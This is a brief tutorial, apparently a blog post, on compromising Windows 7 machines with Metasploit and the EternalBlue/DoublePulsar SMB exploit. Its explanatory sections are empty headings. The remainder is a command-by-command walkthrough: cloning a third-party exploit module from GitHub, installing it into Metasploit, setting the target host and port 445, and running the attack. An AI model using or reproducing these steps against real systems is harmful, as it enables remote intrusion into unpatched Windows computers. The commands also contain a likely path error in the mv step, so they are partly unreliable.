How to attack Windows7 using Metasploit

Source

How to attack Windows7 using Metasploit

+ What is Metasploit?

Source

+ What is Meterpreter?

Source

+ What is EternalBlue?

+ Exploit :

+ Before we begin we need to run those command to update our kali OS :$ apt-get update$ apt-get upgradeand install our exploit from github on Kali (the normal exploit that you found in Metasploit can't work on Windows7 32 bits)$ cd /root$ git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git$ mv /Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
run $msfconsole on your terminal to open Metasploit, know we need to set the exploit that we will use with this command> use exploit/windows/smb/eternalblue_doublepulsar.rbafter we check what options we need to set to begin the attack :> show optionsHere we will set our target, the port is already configured by default 445, and the listener will be automatically configured with your Kali machine IP @ :> set RHOST <Target IP@>> set RPORT 445To run the attack we just type :> run "or" exploit

+ references

Cyber Security Architect